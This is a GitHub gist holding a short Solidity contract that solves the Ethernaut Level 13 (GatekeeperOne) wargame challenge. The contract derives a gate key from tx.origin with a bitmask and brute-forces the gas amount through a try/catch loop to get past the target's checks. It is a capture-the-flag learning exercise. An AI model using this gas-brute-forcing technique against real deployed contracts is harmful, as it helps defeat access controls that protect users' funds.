Last active
April 6, 2023 14:41
-
-
Save Chirag21/199bf25c5ae85a15061a66d253c4a8b0 to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 13 - GatekeeperOne. For Remix IDE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
interface IGatekeeperOne { | |
function enter(bytes8) external; | |
} | |
// Deployment gas cost 209,498 | |
contract GatekeeperOneHack2 { | |
// transaction cost is 596,986 gas | |
function hack(address gatekeeperOneAddr) external { | |
bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0x000000FF0000FFFF; | |
for (uint256 i=100; i <= 8191; ++i) { | |
try IGatekeeperOne(gatekeeperOneAddr).enter{gas: i + (8191 * 10)}(gateKey) { | |
return; | |
} catch {} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment